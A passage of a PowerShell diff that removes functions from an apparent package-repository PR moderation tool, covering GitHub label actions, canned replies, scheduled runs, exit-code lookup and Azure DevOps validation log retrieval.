$PR -UserInput "Duplicate of #$UserInput" - } else { - Write-Output "-UserInput PRNumber needed to close as duplicate." - } - } - $Enum.GitHubPresets.Feedback { - Add-PRToRecord -PR $PR -Action $Preset - if ($UserInput) { - $out += Reply-ToPR -PR $PR -Body $UserInput -Policy $Enum.PRLabels.NAF - } else { - Write-Output "-UserInput needed to use Preset $Preset" - } - } - $Enum.GitHubPresets.GitHubStatus { - return (Invoke-GitHubRequest -Uri https://www.githubstatus.com/api/v2/summary.json -JSON) | Select-Object @{n = "Status"; e = {$_.incidents[$Enum.Index.First].status}},@{n = "Message"; e = {$_.incidents[$Enum.Index.First].name+" (" + $_.incidents.Count+")"}} - #$out += $Preset; - } - $Enum.GitHubPresets.IEDSMode { - Get-TrackerVMSetMode IEDS - } - $Enum.GitHubPresets.IdleMode { - Get-TrackerVMSetMode Idle - } - $Enum.GitHubPresets.InstallerNotSilent { - Add-PRToRecord -PR $PR -Action $Enum.PRActions.Feedback - $out += Reply-ToPR -PR $PR -CannedMessage $Preset -Policy $Enum.PRLabels.NAF - } - $Enum.GitHubPresets.InstallerMissing { - Add-PRToRecord -PR $PR -Action $Enum.PRActions.Feedback - $out += Reply-ToPR -PR $PR -CannedMessage $Preset -Policy $Enum.PRLabels.NAF - } - $Enum.GitHubPresets.LabelAction { - Get-PRLabelAction -PR $PR - } - $Enum.GitHubPresets.ManuallyValidated { - $out += Reply-ToPR -PR $PR -Body "Completing validation." -Policy $Enum.PRLabels.MV - } - $Enum.GitHubPresets.MergeConflicts { - Get-GitHubPreset -Preset $Enum.GitHubPresets.Closed -PR $PR -UserInput "Merge Conflicts" - } - $Enum.GitHubPresets.NetworkBlocker { - Write-Output "Use AutomationBlock instead." - } - $Enum.GitHubPresets.NoInstallerChange { - $out += Reply-ToPR -PR $PR -Body "This PR doesn't modify any of the `InstallerUrl` nor `InstallerSha256` fields." -Policy $Enum.PRLabels.MV - } - $Enum.GitHubPresets.OneManifestPerPR { - Add-PRToRecord -PR $PR -Action $Enum.PRActions.Feedback - $out += Reply-ToPR -PR $PR -CannedMessage $Enum.GitHubPresets.OneManifestPerPR -Policy $Enum.PRLabels.NAF -Automated - Get-AddPRLabel -PR $PR -Label $Enum.PRLabels.BI - } - $Enum.GitHubPresets.PRNoYamlFiles { - Add-PRToRecord -PR $PR -Action $Enum.PRActions.Feedback - $out += Reply-ToPR -PR $PR -CannedMessage $Preset -Policy $Enum.PRLabels.NAF - Get-GitHubPreset -Preset $Enum.GitHubPresets.MergeConflicts -PR $PR - } - $Enum.GitHubPresets.PackageUrl { - Add-PRToRecord -PR $PR -Action $Enum.PRActions.Feedback - $out += Reply-ToPR -PR $PR -CannedMessage $Preset -Policy $Enum.PRLabels.NAF - } - $Enum.GitHubPresets.PossibleDuplicate { - $Pull = (Invoke-GitHubPRRequest -PR $PR -Type files -Output $Enum.PRRequestOutput.Content -JSON) - $PullInstallerContents = (Get-DecodeGitHubFile ((Invoke-GitHubRequest -Uri $Pull.contents_url[$Enum.Index.First] -JSON).content)) - $Url = (Get-YamlValue -Key InstallerUrl -InputArray $PullInstallerContents) - $PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData ($PullInstallerContents -split "`n" | Where {$_ -match $Enum.ManifestKeys.PackageIdentifier})[0]) - # $PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData $PullInstallerContents) - $Version = (Get-ManifestVersion -PackageIdentifier $PackageIdentifier) - $out = ($PullInstallerContents -match $Version) - $UserInput = $out | where {$_ -match "http"} | where {$_ -notmatch "json"} - if ($UserInput) { - $UserInput = "InstallerUrl contains Manifest version instead of PR version:`n" + $UserInput+"`n`n(Automated message - build $build)" - $out += Reply-ToPR -PR $PR -Body $UserInput -Policy $Enum.PRLabels.NAF - Add-PRToRecord -PR $PR -Action Feedback - } - } - $Enum.GitHubPresets.Project { - Add-PRToRecord -PR $PR -Action $Preset - } - $Enum.GitHubPresets.RestrictedSubmitter { - Get-GitHubPreset -Preset $Enum.GitHubPresets.Closed -PR $PR -UserInput "Restricted Submitter" - } - $Enum.GitHubPresets.ResetApproval { - $out += Reply-ToPR -PR $PR -Body "Reset approval workflow." -Policy "Reset Feedback `n[Policy] $($Enum.PRLabels.VC) `n[Policy] $($Enum.PRActions.Approved)" - } - $Enum.GitHubPresets.Retry { - Add-PRToRecord -PR $PR -Action $Preset - $out += Get-RetryPR -PR $PR - } - $Enum.GitHubPresets.Squash { - Add-PRToRecord -PR $PR -Action $Preset - } - $Enum.GitHubPresets.Timeclock { - Get-TimeclockSet - } - $Enum.GitHubPresets.Validating { - Get-TrackerVMSetMode Validating - $PR = $Enum.Char.Blank - } - $Enum.GitHubPresets.Waiver { - Add-PRToRecord -PR $PR -Action $Preset - $out += Add-Waiver -PR $PR; - } - $Enum.GitHubPresets.WorkSearch { - Get-WorkSearch - } - } - } else { - $out += "Error: $($PR[0..10])" - } - Write-Output "PR $($PR): $out" -} - -Function Get-PRLabelAction { #Soothing label action. - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - [string[]]$PRLabels = ((Invoke-GitHubPRRequest -PR $PR2 -Type labels -Output $Enum.PRRequestOutput.Content -JSON).name) - # [switch]$Debug - ) - $PR = $PR2 - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-GitHubPreset $PR2"}; - Write-Output "PR $PR has labels $PRLabels" - if ($PRLabels -contains $Enum.PRLabels.VDE) { - if ($Debug) {Write-Host ($PRLabels -join $Enum.Char.Space)} - $PRState = Get-PRStateFromComments $PR - if ($Debug) {Write-Host $PRState} - if (($PRState | where {$_.event -eq $Enum.PRTrackerStates.PreValidation})[$Enum.Index.Last].($Enum.Strings.CreatedAt) -lt (Get-Date).AddHours(-8)) {# -AND #Last Prevalidation was 8 hours ago. - #($PRState | where {$_.event -eq $Enum.PRTrackerStates.AutoValEnd})[$Enum.Index.Last].($Enum.Strings.CreatedAt) -lt (Get-Date).AddHours(-12)) { #Last Run was 18 hours ago. - Get-GitHubPreset Retry -PR $PR - } - } else { - - Foreach ($Label in ($PRLabels -split $Enum.Char.Space)) { - if ($Debug) {Write-Host "Label: $Label"} - $Logset = ($Enum.PRLabelActions | Where-Object {$_.Label -match $Label}).Logset -split $Enum.Char.EscapedPipe - $StringSet = ($Enum.PRLabelActions | Where-Object {$_.Label -match $Label}).StringSet -split $Enum.Char.EscapedPipe - $LengthSet = ($Enum.PRLabelActions | Where-Object {$_.Label -match $Label}).LengthSet -split $Enum.Char.EscapedPipe - Switch -wildcard ($Label) { - $Enum.PRLabels.403 { - $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet - if ($UserInput) { - Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd - } - Get-Autowaiver -PR $PR - } - $Enum.PRLabels.ANF { - $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet - if ($null -ne $UserInput) { - Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd - } - } - $Enum.PRLabels.BVE { - $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet -length 5 - if ($null -ne $UserInput) { - Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd - } - if ($UserInput -match $Enum.MagicStrings[3]) { - #Get-GitHubPreset -PR $PR -Preset $Enum.GitHubPresets.AutomationBlock - } - } - $Enum.PRLabels.CLA { - Get-ClaCheck -PR $PR - } - $Enum.PRLabels.EAT { - $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 36 -SearchString $Enum.MagicStrings[$Enum.Index.First] -length 4 - if ($UserInput) { - Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd - } - if ($UserInput -match $Enum.MagicStrings[3]) { - Get-GitHubPreset -PR $PR -Preset $Enum.GitHubPresets.AutomationBlock - } - } - $Enum.PRLabels.EHM { - $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet -length 5 - # $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 44 -SearchString $Enum.MagicStrings[7] -length 3 - if ($UserInput) { - Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -Automated - } # Write-Host "a" - # $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet -Length $LengthSet - # Write-Host "b" - # if ($null -ne $UserInput) { - # Write-Host "c" - # Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd - # Write-Host "d" - # Get-UpdateHashInPR2 -PR $PR -InputArray $UserInput - # Write-Host "e" - # } - # Write-Host "f" - } - $Enum.PRLabels.EIA { - $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 53 -SearchString $Enum.MagicStrings[6] -length 5 - if ($null -eq $UserInput) { - $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 25 -SearchString $Enum.MagicStrings[$Enum.Index.First] -Length $Enum.Num.Ten - } - if ($null -eq $UserInput) { - $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 57 -SearchString $Enum.MagicStrings[$Enum.Index.First] -Length $Enum.Num.Ten - } - if ($null -eq $UserInput) { - $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 42 -SearchString $Enum.MagicStrings[$Enum.Index.First] -Length $Enum.Num.Ten - } - if ($UserInput) { - $UserInput = Get-AutomatedErrorAnalysis $UserInput - Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd - Get-GitHubPreset -PR $PR -Preset $Enum.GitHubPresets.CheckInstaller - } - } - $Enum.PRLabels.HVF { - Get-AutoValLog -PR $PR - } - $Enum.PRLabels.HVL { - Approve-PR -PR $PR - } - $Enum.PRLabels.HVR { - Approve-PR -PR $PR - } - $Enum.PRLabels.IE { - if ($Debug) {Write-Host "Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet"} - $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet -WhatIf - if ($Debug) {Write-Host "UserInput Len $($UserInput.Length)"} - if ($UserInput) { - if (($Enum.MagicStrings[5] -in $UserInput) -OR ("Server Unavailable" -in $UserInput)) { - Get-GitHubPreset -PR $PR Retry - } - Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd - } - } - $Enum.PRLabels.IEDS { - #Get-AutoValLog -PR $PR - Add-PRToQueue -PR $PR - } - $Enum.PRLabels.IEM { - $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 15 -SearchString $Enum.MagicStrings[$Enum.Index.Second] - if ($null -match $UserInput) { - $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 30 -SearchString $Enum.MagicStrings[13] - } - if ($null -match $UserInput) { - $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 25 -SearchString $Enum.MagicStrings[4] -length 7 - } - if ($null -match $UserInput) { - $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 39 -SearchString $Enum.MagicStrings[4] -length 7 - } - if ($null -match $UserInput) { - $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 42 -SearchString $Enum.MagicStrings[9] -MatchOffset -3 -Length 4 - } - if ($null -match $UserInput) { - $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 46 -SearchString $Enum.MagicStrings[9] -MatchOffset -3 -Length 4 - } - if ($null -match $UserInput) { - $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 47 -SearchString $Enum.MagicStrings[9] -MatchOffset -3 -Length 4 - } - if ($UserInput) { - Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd - if ($UserInput -match $Enum.StandardPRComments.SequenceNoElements) {#Reindex fixes this. - Reply-ToPR -PR $PR -CannedMessage SequenceNoElements - $PRtitle = ((Invoke-GitHubPRRequest -PR $PR -Type $Enum.Char.Blank -Output $Enum.PRRequestOutput.Content -JSON).title) - if (($PRtitle -match $Enum.PRWatch.AutomaticDeletion) -OR ($PRtitle -match $Enum.PRWatch.Remove)) { - Get-GitHubPreset -Preset $Enum.GitHubPresets.Completed -PR $PR - } - } - } - } - $Enum.PRLabels.IEMI { - $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet - if ($UserInput) { - Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd - } - } - $Enum.PRLabels.IEU { - $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 25 -SearchString $Enum.MagicStrings[$Enum.Index.Second] - if ($UserInput) { - if ($Enum.MagicStrings[5] -in $UserInput) { - Get-GitHubPreset -PR $PR Retry - } - Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd - } - } - $Enum.PRLabels.LVR { - Approve-PR -PR $PR - } - $Enum.PRLabels.MIVE { - $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet - if ($null -ne $UserInput) { - Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd - } - } - $Enum.PRLabels.MMC { - if ((($PRLabels -join $Enum.Char.Space) -match $Enum.PRLabels.VC)) { - Get-VerifyMMC -PR $PR - } - } - $Enum.PRLabels.MVE {#One of these is VER. - if ($Debug) {Write-Host " Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet"} - $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet - if ($null -ne $UserInput) { - if ($Debug) {Write-Host "UserInput: $UserInput"} - Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd -Automated - } - } - $Enum.PRLabels.MVE { - $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 42 -SearchString $Enum.MagicStrings[2] - if ($null -eq $UserInput) { - $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 42 -SearchString $Enum.MagicStrings[$Enum.Index.Second] - } - if ($null -ne $UserInput) { - Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd -Automated - } - } - $Enum.PRLabels.NMM { - # if ($PRLabels -notcontains $Enum.PRLabels.BI) { - # Approve-PR -PR $PR - # Get-MergePR -PR $PR - # } - } - $Enum.PRLabels.NP { - if ((($PRLabels -join $Enum.Char.Space) -notmatch $Enum.PRLabels.MA)) { - Add-PRToQueue -PR $PR - } - } - $Enum.PRLabels.PD { - Get-DuplicateCheck -PR $PR - } - $Enum.PRLabels.PRE { - # $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 36 -SearchString $Enum.MagicStrings[13] -Length 0 - # if ($Debug) { - # Write-Host "Debug" - # $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet -Length $LengthSet -WhatIf - # } else { - $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet - # $UserInput = Get-LogFromCommitFile -PR $PR -LogNumbers $LogSet -StringNumbers $StringSet -Length $LengthSet - # } - - - if ($UserInput -match $Enum.Strings.OneManifestPerPR) { - Get-GitHubPreset -Preset $Enum.GitHubPresets.OneManifestPerPR -PR $PR - } elseif ($UserInput -match $Enum.Strings.PRNoYamlFiles) { - Get-GitHubPreset -Preset $Enum.GitHubPresets.PRNoYamlFiles -PR $PR - } elseif ($UserInput) { - Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd -Automated - } - } - $Enum.PRLabels.UVE { - $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 32 -SearchString $Enum.Strings.ValidationResultFailed - Get-GitHubPreset -PR $PR -Preset $Enum.GitHubPresets.CheckInstaller - if ($UserInput) { - Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd - } - Get-Autowaiver -PR $PR - } - $Enum.PRLabels.VC { - } - $Enum.PRLabels.VD { - Get-Autowaiver -PR $PR - } - $Enum.PRLabels.VEE { - Get-AutoValLog -PR $PR - Get-RerunCheck -PR $PR - } - $Enum.PRLabels.VIE { - Get-AutoValLog -PR $PR - Get-Autowaiver -PR $PR - } - $Enum.PRLabels.VMD { - $UserInput = Get-LineFromBuildResult -PR $PR -LogNumber 25 -SearchString $Enum.MagicStrings[$Enum.Index.Second] - if ($UserInput) { - Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd - } - } - $Enum.PRLabels.VMC { - } - $Enum.PRLabels.VNE { - Get-Autowaiver -PR $PR -<# - $Title = ((Invoke-GitHubPRRequest -PR $PR -Type $Enum.Char.Blank -Output $Enum.PRRequestOutput.Content -JSON).title); - foreach ($Waiver in (Get-ValidationData -Property AutoWaiverLabel)) { - if ($Title -match $Waiver.PackageIdentifier) { - Get-GitHubPreset -PR $PR Waiver - } - } - #> - } - $Enum.PRLabels.VSE { - Get-AutoValLog -PR $PR - Add-PRToQueue -PR $PR - } - $Enum.PRLabels.VUF { - Get-AutoValLog -PR $PR - Add-PRToQueue -PR $PR - } - $Enum.PRLabels.VUE { - Get-Autowaiver -PR $PR - } - $Enum.PRLabels.VUU { - Get-Autowaiver -PR $PR - } - "Policy-Test-*" { - Get-Autowaiver -PR $PR - } - }#end Switch Label - }#end Foreach Label - }#end if PRLabels -} - -Function Get-ScheduledRun { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ScheduledRun Start"}; - # [console]::beep(500,250);[console]::beep(500,250);[console]::beep(500,250) #Beep 3x to alert the PC user. - if ($PReprod) { - $Host.UI.RawUI.WindowTitle = "PREPROD-Periodic Run" - } else { - $Host.UI.RawUI.WindowTitle = "Periodic Run" - } - - #Check for yesterday's report and create if missing. - $Month = (Get-Culture).DateTimeFormat.GetMonthName((Get-Date).Month) - md "$logsFolder\$Month" -ErrorAction SilentlyContinue - $Yesterday = (get-date).AddDays(-1) - $YesterdayFormatted = (get-date $Yesterday -f MMddyy) - $ReportName = "$logsFolder\$Month\Stats\$YesterdayFormatted-Report.csv" - if (Get-Content $ReportName -ErrorAction SilentlyContinue) { - Write-Host "Report for $YesterdayFormatted found." - } else { - Write-Host "Report for $YesterdayFormatted not found." - #And everything else that should run once every 24h. - Get-PRFullReport -Today $YesterdayFormatted - (Get-SearchGitHub None -Label $Enum.PRLabels.MVC).number | %{Open-PRInBrowser -PR $_} - Get-CleanPRExcludeFile - Get-CleanPRFolder - Get-RepoCountReport - (Get-SearchGitHub -Preset None -Label ($Enum.PRLabels.PD +" label:"+$Enum.PRLabels.VC)).number | %{$_;Get-DuplicateCheck $_} - foreach ($page in (1..10)) {(get-searchGitHub -Preset Approval -Page $page).number | %{Get-CheckIfPackageIsNew $_}} - Get-WorkSearch - } - - Get-StaleVMCheck - - $PresetList2 = $Enum.PRLabels.CLA, $Enum.PRLabels.VIE, $Enum.PRLabels.VEE, $Enum.PRLabels.VSE, $Enum.PRLabels.VD, $Enum.PRLabels.VUU, $Enum.PRLabels.VIE, $Enum.PRLabels.PT12, $Enum.PRLabels.PT18, $Enum.PRLabels.PT23, $Enum.PRLabels.PT27, "New-Package label:New-Manifest"; - foreach ($Preset in $PresetList2) { - $Results = (Get-SearchGitHub -Preset None -Label $Preset -DaysAgo 1).number; - Write-Output "$(Get-Date -Format $($Enum.Char.T)) Starting $Preset with $($Results.Length) Results" - if ($Results) { - foreach ($PR in $Results) { - Get-ClaCheck -PR $PR - # switch ($Preset) { - # "New-Package label:New-Manifest" { - # Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.NP - # } - # Default { - Get-PRLabelAction -PR $PR - # } - # } - } - }#end if Results12 - Write-Output "$(Get-Date -Format $($Enum.Char.T)) Completing $Preset with $($Results.Length) Results" - }#End for Preset - - $PresetList = ($Enum.SearchPresets.Defender,$Enum.SearchPresets.Duplicate,$Enum.SearchPresets.HVR,$Enum.SearchPresets.IEDS,$Enum.SearchPresets.LVR,$Enum.SearchPresets.MMC,$Enum.SearchPresets.NMM,$Enum.SearchPresets.ToWork3,$Enum.SearchPresets.Approval,$Enum.SearchPresets.VCMA) - foreach ($Preset in $PresetList) { - $Results = (Get-SearchGitHub -Preset $Preset -nBMM -DaysAgo 1).number - Write-Output "$(Get-Date -Format $($Enum.Char.T)) Starting $Preset with $($Results.Length) Results" - if ($Results) { - switch ($Preset) { - $Enum.SearchPresets.Approval { - $Results = (Get-SearchGitHub Approval -NewPackages -DaysAgo 1).number - $Results | %{Get-ClaCheck -PR $_;Add-PRToQueue -PR $_} - } - $Enum.SearchPresets.Approval2 { - $Results | %{ - Write-Output "$(get-date): $_"; - Get-ClaCheck -PR $_; - Get-PRManifest -pr $_ | clip; - sleep 5 - } - } - $Enum.SearchPresets.IEDS { - $Results | %{Get-ClaCheck -PR $_;Add-PRToQueue -PR $_} - } - $Enum.SearchPresets.VCMA { - $GitHubResults = Get-SearchGitHub VCMA #-DaysAgo 1 - $AnHourAgo = (get-date).AddHours(-1) - $Results = ($GitHubResults | where {[TimeZone]::CurrentTimeZone.ToLocalTime($_.updated_at) -lt $AnHourAgo}).number - #Time, as a number, is always increasing. So the past is always less than the present, which is always less than the future. - $Results | %{Get-ClaCheck -PR $_;Approve-PR -PR $_;Get-MergePR -PR $_} - } - Default { - $Results | %{Get-ClaCheck -PR $_;Get-PRLabelAction -PR $_ } - } - }#end switch Preset - }#end if Results12 - Write-Output "$(Get-Date -Format $($Enum.Char.T)) Completing $Preset with $($Results.Length) Results" - }#End for Preset - - Write-Output "$(Get-Date -Format $($Enum.Char.T)) Starting $Preset with $($Results.Length) Results" - - - Write-Output "$(Get-Date -Format $($Enum.Char.T)) Starting PushMePRYou with $($Enum.PushMePRWho.Count) Results" - $Enum.PushMePRWho | %{Write-Host $_.Author;Get-PushMePRYou -Author $_.Author -MatchString $_.MatchString} - Write-Output "$(Get-Date -Format $($Enum.Char.T)) Completing PushMePRYou with $($Enum.PushMePRWho.Count) Results" - if (([int](get-date -f mm) -eq 20) -OR ([int](get-date -f mm) -eq 50)) { - sleep (60-(get-date -f ss))#Sleep out the minute. - } -} - -Function Get-AutomatedErrorAnalysis { - Param( - $UserInput, - $Spacer = " | " - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-AutomatedErrorAnalysis $($UserInput.length)"}; - - #$UserSplit = $UserInput -replace "0x",$Enum.Char.Blank -replace "[^\w]",$Enum.Char.Space -split $Enum.Char.Space - $UserInput = ($UserInput -split $Enum.Char.LineBreak) | where {$_ -notmatch 'Winget errors'} - $UserInput = ($UserInput -split $Enum.Char.LineBreak) | where {$_ -notmatch 'attempting win'} - $UserJoin = $UserInput -join $Enum.Char.Space -replace $Enum.Char.LineBreak,$Enum.Char.Blank -replace $Enum.Char.CarriageReturn,$Enum.Char.Blank - $UserSplit = $UserJoin -replace "0x",$Enum.Char.Space -replace $Enum.Char.EscapedOpenParens,$Enum.Char.Space -replace ">",$Enum.Char.Space -replace "<",$Enum.Char.Space -split $Enum.Char.Space - $UserSplit = $UserSplit | Sort-Object -Unique - [array]$UserArray = ($UserInput -join $Enum.Char.LineBreak) - - # Write-Host "UserJoin $UserJoin" - # Write-Host "UserInput $UserInput" - # Write-Host "UserArray $($UserArray -join '`n')" - - if ($UserJoin -match "exit code" -OR - $UserJoin -match "DeliveryOptimization error" -OR - $UserJoin -match "Installer failed security check" -OR - $UserJoin -match "Error information") { - $ExitCodeTable = Get-Content $ExitCodeFile | ConvertFrom-Csv - - $UserArray += "$($Enum.Char.LineBreak) $($Enum.Char.LineBreak) | Hex | Dec | Inverted Dec | Symbol | Description | $($Enum.Char.LineBreak) | --- | --- | --- | --- | --- | $($Enum.Char.LineBreak)" - foreach ($ExitCode in $ExitCodeTable) { - foreach ($Word in $UserSplit) { - if (($Word -eq $ExitCode.Hex) -OR ($Word -eq $ExitCode.Dec) -OR ($Word -eq $ExitCode.InvDec) ) { - $UserArray += $Spacer + $ExitCode.Hex + $Spacer + $ExitCode.Dec + $Spacer + $ExitCode.InvDec + $Spacer + $ExitCode.Symbol + $Spacer + $ExitCode.Description + $Spacer + $Enum.Char.LineBreak - }# end if word - }# end foreach word - }#end foreach exitcode - }#end if userinput - $UserArray = $UserArray | Select-Object -Unique - return $UserArray -}#end function - -Function Get-ValidationResult { - Param( - [Parameter(ValueFromPipeline)][int]$PR - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ValidationResult $PR"}; - Write-Host "Get-ValidationResult PR $PR" - $BuildNumber = Get-BuildFromPR -PR $PR - - $ValidationResultUrl = "https://dev.azure.com/shine-oss/8b78618a-7973-49d8-9174-4360829d979b/_apis/build/builds/$BuildNumber/" - $ValidationResultData = Invoke-GitHubRequest $ValidationResultUrl - $ValidationResult = $ValidationResultData | ConvertFrom-Json - - if (($ValidationResult.status -eq "completed") -and ($ValidationResult.result -eq "succeeded")) { - Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.VC - } else { - Get-DownloadADOFile -PR $PR -RetriesLimit 1 - $ResultFileName = "InstallationVerification_Result.json" - - $DestinationPath = "$MainFolder\Installers" - $ValidationResultPath = "$DestinationPath\ValidationResult\" - - # $PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData ($PRCommits -split "`n" | Where {$_ -match $Enum.ManifestKeys.PackageIdentifier})[0]) - $PackageIdentifier = (Get-SchemaCheck -InputData (ls $ValidationResultPath)[$Enum.Index.First].name -SchemaInfo $schemaData.installer.definitions.PackageIdentifier) - $ValidationResultPath += "$PackageIdentifier\" - $PackageVersion = (ls $ValidationResultPath)[$Enum.Index.First].name - $ValidationResultPath += "$PackageVersion\" - $ResultFilePath = (ls $ValidationResultPath).fullname | where {$_ -match $ResultFileName} - - if ($ResultFilePath) { - $OverallResult = (Get-Content $ResultFilePath | ConvertFrom-Json).OverallResult - if ($OverallResult -eq "Success") { - Write-Host "$($PR): Success" - } else { - Write-Host "$($PR): $LabelName" - $LabelName = (Get-Content $ResultFilePath | ConvertFrom-Json).TestplansResults.TestPlan - Get-AddPRLabel -PR $PR -LabelName $LabelName - } - } - } -} - -Function Get-AutoValLog { - #Needs $GitHubToken to be set up in your -PR $PROFILE or somewhere more secure. Needs permissions: workflow, - Param( - [Parameter(ValueFromPipeline)][int]$PR, - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), - $DestinationPath = "$MainFolder\Installers", - $LogPath = "$DestinationPath\InstallationVerificationLogs\", - $ZipPath = "$DestinationPath\InstallationVerificationLogs.zip", - $BuildNumber = (Get-BuildFromPR -PR $PR2), - [switch]$CleanoutDirectory, - [switch]$WhatIf, - [switch]$Force, - [switch]$Silent, - $notes = $Enum.Char.Blank - ) - $PR = $PR2 - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-AutoValLog $PR2"}; - Write-Host "Gathering data for PR $PR" - $PRState = Get-PRStateFromComments $PR - $FileList = $null - [int]$BackoffSeconds = $Enum.Num.Zero - [int]$Retries = $Enum.Num.Zero - [int]$RetriesLimit = 1 - $ArtfiactUrl = $Enum.Char.Blank - - if ((!($PRState | where {$_.event -eq $Enum.PRTrackerStates.AutoValEnd})) -OR (($PRState | where {$_.event -eq $Enum.PRTrackerStates.PreValidation})[$Enum.Index.Last].($Enum.Strings.CreatedAt) -gt ($PRState | where {$_.event -eq $Enum.PRTrackerStates.AutoValEnd})[$Enum.Index.Last].($Enum.Strings.CreatedAt)) -OR ($Force)) { #Last Prevalidation was 8 hours ago. - $DownloadSeconds = 8; - $LowerOps = $true; - $WaiverList = Get-ValidationData -Property AutoWaiverLabel - #Get-Process *photosapp* | Stop-Process - if ($PReprod) { - $BuildNumber = 1 - } else { - - } - - if ($BuildNumber -gt $Enum.Num.Zero) { - while ($null -eq $FileList) { - try { - #This downloads to Windows default location, which has already been set to $DestinationPath - if ($PReprod) { - $ZipPath = "$DestinationPath\WinGetSvc-Validation-Ppe-$PR-3-artifacts.zip" - - $CheckData = Get-CheckData -PR $PR | where {$_.name -match "Validation Completed"} - $ArtfiactUrl = (($CheckData.output.text -split $Enum.Char.LineBreak | select-string "zip")[$Enum.Index.Last] -split $Enum.Char.DoubleQuote)[3] - } else { - $ArtfiactUrl = "$ADOMSBaseUrl/$ADOMSGUID/_apis/build/builds/$BuildNumber/artifacts?artifactName=InstallationVerificationLogs&api-version=7.1&%24format=zip" - } - Start-Process $ArtfiactUrl - if ($WhatIf) { - Write-Host $ArtfiactUrl - } - Start-Sleep $DownloadSeconds; - [bool]$IsZipPath = (Test-Path $ZipPath) - if ($WhatIf) { - Write-Host "IsZipPath $IsZipPath" - } - if (!$IsZipPath) { - if ($Retries -ge $RetriesLimit) { - $UserInput = "No logs after $Retries retries." - if ($WhatIf) { - Write-Host "Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage AutoValEnd" - } else { - if ($Force) { - $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd - } else { - $out = Reply-ToPR -PR $PR -UserInput $UserInput -CannedMessage $Enum.CannedMessages.AutoValEnd -Automated - } - } - Write-Host $UserInput - Break; - } else { - Write-Host "Retry $Retries of $RetriesLimit" - } - $Retries++ - } - Remove-Item $LogPath -Recurse -ErrorAction Ignore - Expand-Archive $ZipPath -DestinationPath $DestinationPath; - 